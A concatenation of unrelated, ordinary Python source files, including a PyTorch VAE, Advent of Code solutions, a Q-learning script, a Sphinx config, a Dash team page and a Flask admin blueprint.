import os

ROOT_DIR = os.path.dirname(os.path.abspath(__file__))

# Executable paths
CHROME_BINARY_PATH = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
CHROME_DRIVER_PATH = "/Users/simondunkelman/GitHub/historical-cryptocurrency-leaders/chromedriver"  # CHANGE

# Input paths
INPUT_DIR = f'{ROOT_DIR}/input/'

# Output paths
OUTPUT_DIR = f'{ROOT_DIR}/data/'


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models
from django.conf import settings

class Migration(migrations.Migration):

    dependencies = [
        ('projects', '0002_project_curr_phase'),
    ]

    operations = [
        migrations.AlterField(
            model_name='iterations_developers',
            name='developer',
            field=models.ForeignKey(to=settings.AUTH_USER_MODEL),
        ),
        migrations.AlterField(
            model_name='project',
            name='manager',
            field=models.ForeignKey(to=settings.AUTH_USER_MODEL),
        ),
    ]


# roots, sides, pack in place
from tkinter import *
root = Tk()
Label(root, text='Hello GUI, world!').pack(side=TOP)
root.mainloop()

'''
When widgets are packed, we can specify which side of their parent they should be
attached to—TOP, BOTTOM, LEFT, or RIGHT.

In general, larger tkinter
GUIs can be constructed as sets of rectangles, attached to the appropriate sides of other,
enclosing rectangles.
'''


"""
    Conexión a SQLServer con Python
    Ejemplo de CRUD evitando inyecciones SQL

    @author parzibyte

    Más tutoriales en:
                        parzibyte.me/blog
"""
from bd import conexion
try:
    with conexion.cursor() as cursor:

        consulta = "UPDATE peliculas SET titulo = ? WHERE id = ?;"
        nuevo_titulo = "Ready Player One: comienza el juego"
        id_editar = 2
        cursor.execute(consulta, (nuevo_titulo, id_editar))

    # No olvidemos hacer commit cuando hacemos un cambio a la BD
    conexion.commit()
except Exception as e:
    print("Ocurrió un error al editar: ", e)
finally:
    conexion.close()


from typing import List

import numpy as np

import torch
import torch.nn as nn
import torch.nn.functional as F

class VAE(nn.Module):
    def __init__(
        self,
        in_channels: int = 3,
        input_size: int = 128,
        hidden_dims: List[int] = [32, 32, 64, 128],
        latent_dim: int = 512,
        **kwargs,
    ) -> None:
        super(VAE, self).__init__()

        self.in_channels = in_channels
        self.input_size = input_size
        self.hidden_dims = hidden_dims
        self.latent_dim = latent_dim

        current_size = self.input_size
        # Build Encoder
        module_list = nn.ModuleList()
        for h_dim in hidden_dims:
            module_list.append(
                nn.Sequential(
                    nn.Conv2d(
                        in_channels=in_channels,
                        out_channels=h_dim,
                        kernel_size=3,
                        stride=2,
                        padding=1,
                    ),
                    nn.BatchNorm2d(h_dim),
                    nn.LeakyReLU(),
                )
            )
            current_size = current_size // 2
            in_channels = h_dim
        self.encoder = nn.Sequential(*module_list)

        self.intermediate_size = current_size

        self.fc_mu = nn.Linear((current_size**2) * self.hidden_dims[-1], self.latent_dim)
        self.fc_var = nn.Linear((current_size**2) * self.hidden_dims[-1], self.latent_dim)

        hidden_dims.reverse()

        # Build Decoder
        self.decoder_input = nn.Linear(self.latent_dim, (current_size**2) * self.hidden_dims[-1])
        module_list = nn.ModuleList()
        for i in range(len(hidden_dims) - 1):
            module_list.append(
                nn.Sequential(
                    nn.ConvTranspose2d(
                        in_channels=hidden_dims[i],
                        out_channels=hidden_dims[i + 1],
                        kernel_size=3,
                        stride=2,
                        padding=1,
                        output_padding=1,
                    ),
                    nn.BatchNorm2d(hidden_dims[i + 1]),
                    nn.LeakyReLU(),
                )
            )

        module_list.append(
            nn.Sequential(
                nn.ConvTranspose2d(
                    in_channels=hidden_dims[-1],
                    out_channels=hidden_dims[-1],
                    kernel_size=3,
                    stride=2,
                    padding=1,
                    output_padding=1,
                ),
                nn.BatchNorm2d(hidden_dims[-1]),
                nn.LeakyReLU(),
                nn.Conv2d(in_channels=hidden_dims[-1], out_channels=self.in_channels, kernel_size=3, padding="same"),
                nn.Tanh(),
            )
        )
        self.decoder = nn.Sequential(*module_list)

    def encode(self, input: torch.Tensor) -> List[torch.Tensor]:
        """Encodes the input by passing through the encoder network
        and returns the latent codes.

        :param input: _description_
        :type input: torch.Tensor
        :raises NotImplementedError: _description_
        :return: _description_
        :rtype: List[torch.Tensor]
        """

        x = self.encoder(input)
        x = torch.flatten(x, start_dim=1)

        # Split the result into mu and var components
        # of the latent Gaussian distribution
        mu = self.fc_mu(x)
        log_var = self.fc_var(x)

        return [mu, log_var]

    def decode(self, input: torch.Tensor) -> torch.Tensor:
        """_summary_

        :param input: _description_
        :type input: torch.Tensor
        :return: _description_
        :rtype: torch.Tensor
        """
        x = self.decoder_input(input)

        # Reshaping back to 2D with the channels and the intermediate size it had after encoder
        x = x.view(-1, self.hidden_dims[-1], self.intermediate_size, self.intermediate_size)

        # Reconstructing image
        x = self.decoder(x)

        return x

    def reparameterize(self, mu: torch.Tensor, logvar: torch.Tensor) -> torch.Tensor:
        """
        Reparameterization trick to sample from N(mu, var) from
        N(0,1).

        :param mu: _description_
        :type mu: torch.Tensor
        :param logvar: _description_
        :type logvar: torch.Tensor
        :return: _description_
        :rtype: torch.Tensor
        """

        std = torch.exp(0.5 * logvar)
        eps = torch.randn_like(std)

        return eps * std + mu

    def forward(self, input: torch.Tensor) -> torch.Tensor:
        """_summary_

        :param input: _description_
        :type input: torch.Tensor
        :return: _description_
        :rtype: torch.Tensor
        """

        mu, logvar = self.encode(input)
        z = self.reparameterize(mu, logvar)

        return [self.decode(z), mu, logvar]

    def loss_function(
        self,
        input: torch.Tensor,
        outputs: List[torch.Tensor],
        kld_weight: float,
        **kwargs,
    ) -> dict:

        recons = outputs[0]
        mu = outputs[1]
        logvar = outputs[2]

        recons_loss = F.mse_loss(recons, input)

        kld_loss = torch.mean(-0.5 * torch.sum(1 + logvar - mu**2 - logvar.exp(), dim=1), dim=0)

        loss = recons_loss + kld_weight * kld_loss

        return loss, {"loss": loss.detach(), "Reconstruction_Loss": recons_loss.detach(), "KLD": -kld_loss.detach()}

    def sample(self, num_samples: int, current_device: int) -> torch.Tensor:

        z = torch.randn(num_samples, self.latent_dim)

        z = z.to(current_device)

        return self.decode(z)


inputList = []
gammaRate = ""
epsilonRate = ""
number1 = 0
number2 = 0
bitArray = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
with open("input.txt") as f:
    inputList = [line.rstrip() for line in f]

for x in inputList:
    for i in range(len(x)):
        if x[i] == "1":
            bitArray[i] += 1

size = len(inputList)
for i in range(len(bitArray)):
    if bitArray[i] >= size/2.0:
        gammaRate = gammaRate + "1"
        epsilonRate = epsilonRate + "0"
    else:
        gammaRate = gammaRate + "0"
        epsilonRate = epsilonRate + "1"

for i in range(len(gammaRate)):
    number1 += 2**i * int(gammaRate[len(gammaRate) - (i+1)])
    number2 += 2**i * int(epsilonRate[len(epsilonRate) - (i+1)])

print(number1 * number2)


# https://programmers.co.kr/learn/courses/30/lessons/67259
from collections import deque

def solution(board):
    dx = [0, 1, -1, 0]
    dy = [1, 0, 0, -1]

    n = len(board)
    visit = [[[10e9, 10e9, 10e9, 10e9] for _ in range(n)] for _ in range(n)]
    dq = deque()

    dq.append((0, 0, 0, 0))
    dq.append((0, 0, 0, 1))

    while (dq):
        nx, ny, c, state = dq.popleft()
        for i in range(4):
            temp = c + 100
            vx = nx + dx[i]
            vy = ny + dy[i]
            if -1 < vx < n and -1 < vy < n and board[vx][vy] == 0:
                if state != i:
                    temp += 500
                if visit[vx][vy][i] > temp:
                    visit[vx][vy][i] = temp
                    dq.append((vx, vy, temp, i))

    answer = min(visit[n - 1][n - 1])
    return answer


import numpy as np
import cv2
# import matplotlib

img = cv2.imread('data/gradient.png', 0)
img2 = cv2.imread('data/sudoku.png', 0)
_, th1 = cv2.threshold(img2, 127, 255, cv2.THRESH_BINARY)
th2 = cv2.adaptiveThreshold(img2, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 10)
th3 = cv2.adaptiveThreshold(img2, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 10)

cv2.imshow('res', img2)
cv2.imshow('th2', th2)
cv2.imshow('th3', th3)

cv2.waitKey(0)
cv2.destroyAllWindows()


import gensim
import gensim.models
import os
import sys
myclasses = str(sys.argv[1])
mywindow= int(sys.argv[2])
mysize= int(sys.argv[3])
mincoun=int(sys.argv[4])
model =str (sys.argv[5])
pretrain=str (sys.argv[6])

#sentences =gensim.models.word2vec.LineSentence('pubmed_corpus.txt') # a memory-friendly iterator

#print ("vocabulary is ready \n");
#if (model =="sg"):
	#ssmodel =gensim.models.Word2Vec(sentences,sg=1,min_count=mincoun, #size=mysize ,window=mywindow, sample=1e-3)
#else:
#	ssmodel =gensim.models.Word2Vec(sentences,sg=0,min_count=mincoun, #size=mysize ,window=mywindow)
#ssmodel.save("RepresentationModel_pubmed.txt");
mymodel=gensim.models.Word2Vec.load (pretrain)
sentences =gensim.models.word2vec.LineSentence('ontology_corpus.lst')
mymodel.min_count = 0
mymodel.build_vocab(sentences, update=True)
#mymodel =gensim.models.Word2Vec(sentences,sg=0,min_count=0, size=200 ,window=5, sample=1e-3)
mymodel.train (sentences,total_examples=mymodel.corpus_count, epochs=mymodel.iter)
#print (len(mymodel.wv.vocab));
# Store vectors for each given class
word_vectors=mymodel.wv
file= open ('AllVectorResults.lst', 'w')
with open(myclasses) as f:
	for line in f:
		myclass1=line.rstrip()
		if myclass1 in word_vectors.vocab:
			#myvectors[myclass1]=mymodel[myclass1];
			file.write (str(myclass1) + ' '+ str(mymodel[myclass1]) +'\n')
	file.close()


# !pip install pomegranate

import numpy as np
from pomegranate import *

guest =DiscreteDistribution({ 'A': 1/3, 'B': 1/3, 'C': 1/3 })
prize =DiscreteDistribution({ 'A': 1/3, 'B': 1/3, 'C': 1/3 })

monty = ConditionalProbabilityTable(
    	[['A', 'A', 'A', 0.0],
     	['A', 'A', 'B', 0.5],
     	['A', 'A', 'C', 0.5],
     	['A', 'B', 'A', 0.0],
     	['A', 'B', 'B', 0.0],
     	['A', 'B', 'C', 1.0],
     	['A', 'C', 'A', 0.0],
     	['A', 'C', 'B', 1.0],
     	['A', 'C', 'C', 0.0],
     	['B', 'A', 'A', 0.0],
     	['B', 'A', 'B', 0.0],
     	['B', 'A', 'C', 1.0],
     	['B', 'B', 'A', 0.5],
     	['B', 'B', 'B', 0.0],
     	['B', 'B', 'C', 0.5],
     	['B', 'C', 'A', 1.0],
     	['B', 'C', 'B', 0.0],
     	['B', 'C', 'C', 0.0],
     	['C', 'A', 'A', 0.0],
     	['C', 'A', 'B', 1.0],
     	['C', 'A', 'C', 0.0],
     	['C', 'B', 'A', 1.0],
     	['C', 'B', 'B', 0.0],
     	['C', 'B', 'C', 0.0],
     	['C', 'C', 'A', 0.5],
     	['C', 'C', 'B', 0.5],
     	['C', 'C', 'C', 0.0]], [guest, prize])

s1 = Node(guest, name="guest")
s2 = Node(prize, name="prize")
s3 = Node(monty, name="monty")

model = BayesianNetwork("Monty Hall")
model.add_states(s1, s2, s3)
model.add_edge(s1, s3)
model.add_edge(s2, s3)
model.bake()

beliefs = model.predict_proba({ 'guest' : 'A' })
for i,b in enumerate(beliefs):
	print(model.states[i].name)
	print(b.parameters) if hasattr(b, 'parameters') else print(b)
	print("")

beliefs = model.predict_proba({ 'guest' : 'A', 'monty' : 'B' })
for i,b in enumerate(beliefs):
	print(model.states[i].name)
	print(b.parameters) if hasattr(b, 'parameters') else print(b)
	print("")

# Aim:
#     To solve the Monty Hall problem using python language.

# Algorithm:
#     1) Run single trial of Monty Hall game problem with or without switching.
#     2) After the show host reveals a goat & the host knows where car is.
#     3) Make a switch by changing any other door.
#     4) Selected one and the one just opened to reveal goat.
#     5) Run trials in iterations with or without switching, returning number
#     of resulting in winning the car by picking door.


"""
A derived Tic Tac Toe Player class that interacts with the terminal when
placing tokens.

"""

import tictactoe

class TerminalPlayer(tictactoe.Player):

    last_outcome_notified = None

    def select_index(self, board):
        print(self.token, 'to play')
        self._print_board(board)

        while True:
            entry = input(
                'Enter the index of the cell into which the token shall be '
                'placed.')

            try:
                index = int(entry)
            except ValueError:
                print('Entry could not be converted to an integer index.')
                continue

            if not 0 <= index < 9:
                print('Index must be within the valid range [0,8].')
                continue

            if board[index] is not None:
                print('Cannot place a token in an occupied cell.')
                continue

            break

        # noinspection PyUnboundLocalVariable
        return index

    @classmethod
    def notify_outcome(cls, game_record):
        if cls.last_outcome_notified is not game_record:
            cls.last_outcome_notified = game_record

            if game_record.winner is None:
                print('The game was a draw.')
            else:
                print(game_record.winner, 'won!')

            cls._print_board(game_record.final_board)

    @staticmethod
    def _print_board(board):
        print(
            '\n'.join(
                ['[{}]'.format(
                    ' '.join(
                        [str(token) if token is not None else ' '
                         for token in board[row * 3: row * 3 + 3]]))
                 for row in range(3)]))

if __name__ == '__main__':
    x = TerminalPlayer('X')
    o = TerminalPlayer('O')
    g = tictactoe.Game([x, o])
    g.play()


from rsfproj import Flow, Plot, End, Result

graphit = lambda title=None, min=-0.25, max=0.25: 'graph title="%(title)s" min2=%(min)s max2=%(max)s' %vars()
def plot_swell( data, noise, sig , enoise, esig, residual=None):

#    Flow( esig, [enoise, data] , 'math x=${SOURCES[1]} output="x-input"')

    Plot( 'enoise', enoise,       graphit( title="Estimated Swell Noise") )
    Plot( 'noise',noise,  graphit( title="True Swell Noise")      )

    Plot( 'esig',esig,         graphit( title="Estimated Signal" )     )
    Plot('sig',sig,       graphit( title="True Signal" )          )

    Result('plot1',['sig','esig'],              'SideBySideAniso' )
    Result('plot2',['noise','enoise'],          'SideBySideAniso' )

    if residual:
        Plot('residual',residual,       graphit( title="Residual" ) )
        Result('plot3',[esig,enoise,residual],'SideBySideAniso' )

    End()


def first_star ():
    with open('./input.txt') as f:
        data = [int(num) for num in f.read().split('\n') if num.isdigit()]

        for num in data:
            opposite = 2020 - num
            if opposite in data:
                return ((num, opposite), opposite * num)

def second_start():
    with open('./input.txt') as f:
        data = [int(num) for num in f.read().split('\n') if num.isdigit()]

        remainder = [2020 - d for d in data]

        for idx1, remain in enumerate(remainder):
            orig = data[idx1]

            for idx2, num in enumerate(data):
                if idx1 == idx2:
                    continue

                opposite = remain - num
                if opposite in data:
                    return ((orig, num, opposite), orig * num * opposite)


# -*- coding: utf-8 -*-
"""
Created on Sat Oct 14 17:57:35 2017

@author: ruonan.ding
"""

import numpy as np
from collections import defaultdict
import itertools
import sys

import gym
env = gym.make("Taxi-v2")
observation = env.reset()

def elipson_Greedy_policy(Q, epsilon, nA):
    def policy_fn(observation):
        A = np.ones(nA, dtype=float) * epsilon / nA
        best_action = np.argmax(Q[observation])
        A[best_action] += (1.0 - epsilon)
        return A
    return policy_fn

def q_learning(env, num_episodes, discount_factor=1.0, alpha=0.5, epsilon=0.1):
    """
    Q-Learning algorithm: Off-policy TD control. Finds the optimal greedy policy
    while following an epsilon-greedy policy

    Args:
        env: OpenAI environment.
        num_episodes: Number of episodes to run for.
        discount_factor: Lambda time discount factor.
        alpha: TD learning rate.
        epsilon: Chance the sample a random action. Float betwen 0 and 1.

    Returns:
        A tuple (Q, episode_lengths).
        Q is the optimal action-value function, a dictionary mapping state -> action values.
        stats is an EpisodeStats object with two numpy arrays for episode_lengths and episode_rewards.
    """

    # The final action-value function.
    # A nested dictionary that maps state -> (action -> action-value).
    Q = defaultdict(lambda: np.zeros(env.action_space.n))

    # The policy we're following
    policy = elipson_Greedy_policy(Q, epsilon, env.action_space.n)

    for i_episode in range(num_episodes):
        # Print out which episode we're on, useful for debugging.
        if (i_episode + 1) % 100 == 0:
            print("\rEpisode {}/{}.".format(i_episode + 1, num_episodes), end="")
            sys.stdout.flush()

        # Reset the environment and pick the first action
        state = env.reset()

        # One step in the environment
        # total_reward = 0.0
        for t in itertools.count():

            # Take a step
            action_probs = policy(state)
            action = np.random.choice(np.arange(len(action_probs)), p=action_probs)
            next_state, reward, done, _ = env.step(action)

            # TD Update
            best_next_action = np.argmax(Q[next_state])
            td_target = reward + discount_factor * Q[next_state][best_next_action]
            td_delta = td_target - Q[state][action]
            Q[state][action] += alpha * td_delta

            if done:
                td_target = reward
                td_delta = td_target - Q[state][action]
                Q[state][action] += alpha * td_delta
                break

            state = next_state

    return Q

Q = q_learning(env, 15000, discount_factor= 0.9, alpha=1, epsilon=0.5)

print(Q[83][5])
print(Q[377][1])
print(Q[253][0])
print(Q[398][3])
print(Q[462][4])

Q[339][3]


import requests
import polars as pl
from io import StringIO
import os

def get_download_link(ticker):
    period_1 = "1"
    period_2 = "9999999999"

    link = "https://query1.finance.yahoo.com/v7/finance/download/" + ticker + "?period1=" + period_1 + "&period2=" + period_2 + "&interval=1d&events=history&includeAdjustedClose=true"

    return link

def get_data(link):
    try:
        response = requests.get(link, headers={'User-agent': 'Mozilla/5.0'})
        response.raise_for_status()

        return response.text
    except requests.exceptions.RequestException as e:
        print(e.response.text)

def clean_data(data: str) -> pl.DataFrame:
    df = pl.read_csv(StringIO(data))
    # df = df.drop(["Open","High","Low","Close"])

    # df = df.rename({"Adj Close": "Price"})

    return df

def collect_price_historical(ticker):
    link = get_download_link(ticker)
    data = get_data(link)
    df = clean_data(data)

    return df

def save_price_historical(df, ticker, fs, s3_prefix):
    filepath = os.path.join(s3_prefix, "prices", ticker + "_prices.csv")
    with fs.open(filepath, 'wb') as outfile:
        df.write_csv(outfile)

def collect_index_historical(ticker):
    link = get_download_link(ticker)
    data = get_data(link)
    df = clean_data(data)

    df = df.select(pl.col(["Date", "Adj Close"]))
    df = df.rename({"Adj Close": ticker})

    return df

def save_index_historical(df, ticker, fs, s3_prefix):
    filepath = os.path.join(s3_prefix, "indexes", ticker + ".csv")
    with fs.open(filepath, 'wb') as outfile:
        df.write_csv(outfile)

def main():
    df = collect_price_historical("F")
    # collect_price_historical("AAPL")

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
#
# cpp-netlib documentation build configuration file, created by
# sphinx-quickstart on Wed Jun 23 20:50:04 2010.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys, os

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.append(os.path.abspath('_ext'))
sys.path.append(os.path.abspath('_ext/breathe'))

# Use breathe for doxygen integration

# -- General configuration -----------------------------------------------------

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.

extensions = ['sphinx.ext.todo',
              'sphinx.ext.autodoc',
              'sphinx.ext.doctest',
              'sphinx.ext.coverage',
              'breathe',
              ]

todo_include_todos = True

# Tell breathe about the doxygen project.
breathe_projects = { 'cppnetlib': os.path.abspath('doxygen/xml') }

# Default breathe project
breathe_default_project = 'cppnetlib'

# Add any paths that contain templates here, relative to this directory.
# templates_path = ['_templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
source_encoding = 'utf-8'

# The master toctree document.
master_doc = 'contents'

# General information about the project.
project = u'cpp-netlib'
copyright = u'2008-2014, Glyn Matthews, Dean Michael Berris; 2013 Google, Inc.'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0.12'
# The full version, including alpha/beta/rc tags.
release = '0.12.0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
today_fmt = '%B %d, %Y'

# List of documents that shouldn't be included in the build.
unused_docs = [ '' ]

# List of directories, relative to source directory, that shouldn't be searched
# for source files.
exclude_trees = ['_build', 'doxygen', '_ext']

exclude_patterns = ['_ext/breathe/*']

# If true, '()' will be appended to :func: etc. cross-reference text.
# add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
# show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
# pygments_style = 'sphinx'
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
# modindex_common_prefix = []

# -- Options for HTML output ---------------------------------------------------

# The theme to use for HTML and HTML Help pages.  Major themes that come with
# Sphinx are currently 'default' and 'sphinxdoc'.
html_theme = 'pyramid'

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
html_title = 'cpp-netlib v0.12.0'

# A shorter title for the navigation bar.  Default is the same as html_title.
# html_short_title = 'cpp-netlib'

# Use an HTML index.
html_use_index = False

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
# html_style = 'cpp-netlib.css'
# html_static_path = ['_static']
# html_translator_class = "adjusts.CppNetlibHTMLTranslator"

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
html_use_smartypants = True

# Output file base name for HTML help builder.
# htmlhelp_basename = 'cpp-netlibdoc'


#This dashboard is a modified version of https://github.com/plotly/dash-sample-apps/tree/master/apps/dash-pk-calc

#MODULES
#Core components
import dash
from dash.dependencies import Input, Output
import dash_core_components as dcc
import dash_html_components as html
import dash_table
import pandas as pd

from app import app

#Visualization
import plotly.graph_objects as go
from plotly.subplots import make_subplots

# APP

layout =  html.Div(
    className="",
    children=[
        ##
        html.Div(
            className="pkcalc-banner",
            children=[
                html.Div(
                    className="pkcalc-title",
                    children=[
                        html.A(
                            id="dash-logo",
                            children=[html.Img(src=app.get_asset_url("nyan.gif"))],
                            href="/",
                        ),
                        html.H2("DRUG MATCHMAKER"),
                    ],
                ),
                html.Div(
                    className="pkcalc-nav",
                    children=[
                        dcc.Link('Targets', href='/targets'),
                        dcc.Link('Database Information', href='/database'),
                        dcc.Link('Team', href='/team')
                    ],
                ),
            ],#children banner
        ),#div banner
        ##
        html.Div(
            className="container",
            children=[
                html.H3('Marie Bocher'),
                html.P(html.A('LinkedIn Profile', href='https://www.linkedin.com/in/marie-bocher-8b6b5562/')),
                html.Div(
                   className = 'row pkcalc-container',
                   children=[
                       html.Div(
                           className = 'eight columns pkcalc-settings',
                           children = [
                               html.P("Marie's background is in Earth Science. After 7 years of academic research in fluids dynamics and probabilistic forecasting of various solid Earth systems, she transitioned to the Data Science field. She is particularly interested in full-stack data science projects in health, environment and education.")
                           ],#div text
                       ), #divCV
                       html.Div(
                           className = 'four columns',
                           children = [html.Img(src=app.get_asset_url('MB.png'), style={'width':'100%'})]
                       ), #div picture
                   ],#row3 container children
               ), #row3 container div3 row
                html.Hr(),
                html.H3('Mariana Zorkina'),
                html.P(html.A('LinkedIn Profile', href='https://www.linkedin.com/in/mariana-zorkina-0b103163/')),
                html.Div(
                    className = 'row pkcalc-container',
                    children=[
                        html.Div(
                            className='four columns',
                            children = [html.Img(src=app.get_asset_url('MZ.jpg'), style={'width':'100%'})]
                        ), #div photo
                        html.Div(
                            className = 'eight columns pkcalc-settings',
                            children = [
                                html.P('Mariana is a PhD candidate and lecturer at the University of Zurich. Her background is in sinology, linguistics and literature studies and  she is currently writing a dissertation on computational approaches to analysis of Chinese poetry. She is giving talks on Digital Humanities internationally and has served as editor in several media dedicated to digital transformation of academic research. She is experienced in working in a multicultural environment, speaks English, Russian, Mandarin and German and is interested in NLP projects.')
                            ],
                        ), #div text
                    ],#children div2 row
                ), #container div2 row
                html.Hr(),
                html.H3('Seamus Dines Muntaner'),
                html.P(html.A('LinkedIn Profile', href='https://www.linkedin.com/in/seamus-dines-muntaner/')),
                html.Div(
                   className = 'row pkcalc-container',
                   children=[
                       html.Div(
                           className = 'eight columns pkcalc-settings',
                           children = [
                               html.P('Seamus is currently enrolled in a Master of Biotechnology at the University of Queensland where he will explore the intersection of health and artificial intelligence. He also works for a drug development group where he will apply this "Drug Matchmaker" to the companies drug assets to facilitate business development. Seamus was born in Spain and grew up in China before completing his secondary and tertiary education in Australia so he speaks English, Mandarin, Catalan and Spanish fluently and hopes to use his languages and cultural background to promote the globalization of healthcare, technology and business.')
                           ],
                       ), #divCV
                       html.Div(
                           className = 'four columns',
                           children = [html.Img(src=app.get_asset_url('S2.jpeg'), style={'width':'100%'})]
                       ), #div picture
                   ],#row3 container children
               ), #row3 container div3 row
            ], #children main container
        )#div main container
    ]#main children div
)#main div


import numpy as np
import pandas as pd

def drop_unnecessary_columns(df):
    '''
    Remove columns that are not wanted

    Parameters:
    df (dataframe): the dataframe to reduce

    Returns:
    df (dataframe): the reduced dataframe
    '''

    # list of columns to keep
    columns_to_keep = {'occurcountry',
                           'patient.patientsex',
                           'patient.patientonsetage',
                           'patient.patientonsetageunit',
                           'primarysource.qualification',
                           'route',
                           'reporttype',
                           'serious',
                           'seriousnesscongenitalanomali',
                           'seriousnessother',
                           'seriousnesshospitalization',
                           'seriousnesslifethreatening',
                           'seriousnessdeath',
                           'seriousnessdisabling',
                           'reactionmeddrapt',
                           'reactionoutcome'}

    # list all columns and drop those not in keep list
    all_columns = set(df.columns)
    columns_to_drop = list(all_columns-columns_to_keep)
    df.drop(columns_to_drop, axis=1, inplace=True)

    return df

def fill_seriousness_nan(df):
    '''
    Replace NaN values with 0 in seriousness columns

    Parameters:
    df (dataframe): the dataframe to impute

    Returns:
    df (dataframe): the imputed dataframe
    '''

    # list seriousness columns and replace NaNs with 0s
    seriousness_list = [   'seriousnesscongenitalanomali',
                           'seriousnessother',
                           'seriousnesshospitalization',
                           'seriousnesslifethreatening',
                           'seriousnessdeath',
                           'seriousnessdisabling'
                       ]
    df[seriousness_list] = df[seriousness_list].fillna(0)

    return df

def remove_nan_columns(df,perc):
    '''
    Remove all columns where number NaN is > perc

    Parameters:
    df (dataframe): the dataframe to reduce
    perc (float): the percentage threshold to drop a column

    Returns:
    df (dataframe): the reduced dataframe
    '''

    # drop columns from df where number of missing values is > perc
    threshold = len(df)*perc/100
    df = df.dropna(thresh=threshold,axis=1)

    return df

def fix_data_types(df):
    '''
    Convert numerical fields to float

    Parameters:
    df (dataframe): the dataframe with incorrect types

    Returns:
    df (dataframe): the corrected dataframe
    '''

    # get list of columns to convert to float by
    # removing columns with string data from all columns
    columns = list(set(df.columns) - {'occurcountry',
                                      'reactionmeddrapt',
                                      'route'}
                  )
    df[columns] = df[columns].astype('float',errors='ignore')

    return df

def reformat_onsetage(df):
    '''
    Recalculate the patient age in years based on age unit

    Parameters:
    df (dataframe): the dataframe with inconsistent ages

    Returns:
    df (dataframe): the dataframe with age in years
    '''

    col_unit = 'patient.patientonsetageunit'
    col_age = 'patient.patientonsetage'
    col_age_year = 'patient.patientonsetageyear'

    # check first that there is always a unit specified for patientage
    assert df[col_unit].isna().sum() == df[col_age].isna().sum(), 'Not all patient ages have units.'

    # calculate age in years based on unit
    # 801 = years, 802 = months
    if (df.isin([802]).any().loc[col_unit]):
        df.loc[df[col_unit]==802, col_age_year] = df.loc[df[col_unit]==802, col_age]/12
    if (df.isin([801]).any().loc[col_unit]):
        df.loc[df[col_unit]==801, col_age_year] = df.loc[df[col_unit]==801, col_age]

    # drop old columns to avoid confusion
    df.drop(col_unit, axis=1, inplace=True)
    df.drop(col_age, axis=1, inplace=True)

    return df

def remove_outliers(df):
    '''
    Remove any outliers based on patient age (>=18)

    Parameters:
    df (dataframe): the dataframe with outliers

    Returns:
    df (dataframe): the dataframe without outliers
    '''

    df = df[(df['patient.patientonsetageyear'] < 18) | (df['patient.patientonsetageyear'].isna())]

    return df


from flask import Blueprint, render_template, request, redirect, url_for
from app.database import get_db
from app.auth import login_required, has_role
from app.auth.roles import *
from .forms import CreateBathForm, EditBathForm

edit_bath_bp = Blueprint('edit_bath', __name__)

@edit_bath_bp.route('/add_bath', methods=['GET', 'POST'])
@has_role(ADMIN_ROLE)
@login_required
def add_bath():
	form = CreateBathForm(request.form)
	if request.method == 'POST' and form.validate():
		db = get_db()
		address = form.address.data
		per_hour_rent = form.per_hour_rent.data
		min_order_time_hours = form.min_order_time_hours.data
		accessories = form.accessories.data
		working_hours_from = form.working_hours_from.data
		working_hours_to = form.working_hours_to.data
		human_capacity = form.human_capacity.data
		db.add_bath(address, per_hour_rent, min_order_time_hours, accessories,
					working_hours_from, working_hours_to, human_capacity)
		return redirect(url_for('admin.edit_bath.edit_bathes'))
	return render_template('edit_bathes/add_bath.html', form=form)

@edit_bath_bp.route('/edit_bathes', methods=['GET', 'POST'])
@has_role(ADMIN_ROLE)
@login_required
def edit_bathes():
	db = get_db()
	bathes = db.get_bathes()
	return render_template('edit_bathes/edit_bathes.html', bathes=bathes)

@edit_bath_bp.route('/edit_bath/<int:bath_id>', methods=['GET', 'POST'])
@has_role(ADMIN_ROLE)
@login_required
def edit_bath(bath_id: str):
	db = get_db()
	form = EditBathForm(request.form)
	if request.method == 'POST' and form.validate():
		address = form.address.data
		per_hour_rent = form.per_hour_rent.data
		min_order_time_hours = form.min_order_time_hours.data
		accessories = form.accessories.data
		working_hours_from = form.working_hours_from.data
		working_hours_to = form.working_hours_to.data
		human_capacity = form.human_capacity.data
		status = form.status.data
		db.update_bath_info(bath_id, address, per_hour_rent, min_order_time_hours, accessories, working_hours_from,
							working_hours_to, human_capacity, status)

		return redirect(url_for('admin.edit_bath.edit_bathes'))

	bath = db.execute_query_fetchone(f"SELECT * from bath WHERE bath_id = '{bath_id}'")
	data = {k.replace('bath_', ''): v for k, v in bath.items()}
	form.process(data=data)
	form.per_hour_rent.render_kw = {'placeholder': data['per_hour_rent']}
	return render_template('edit_bathes/edit_bath.html', form=form, bath=bath)


import pygame
import sys
from pygame.math import Vector2
import random

pygame.init()
SCREEN_UPDATE = pygame.USEREVENT
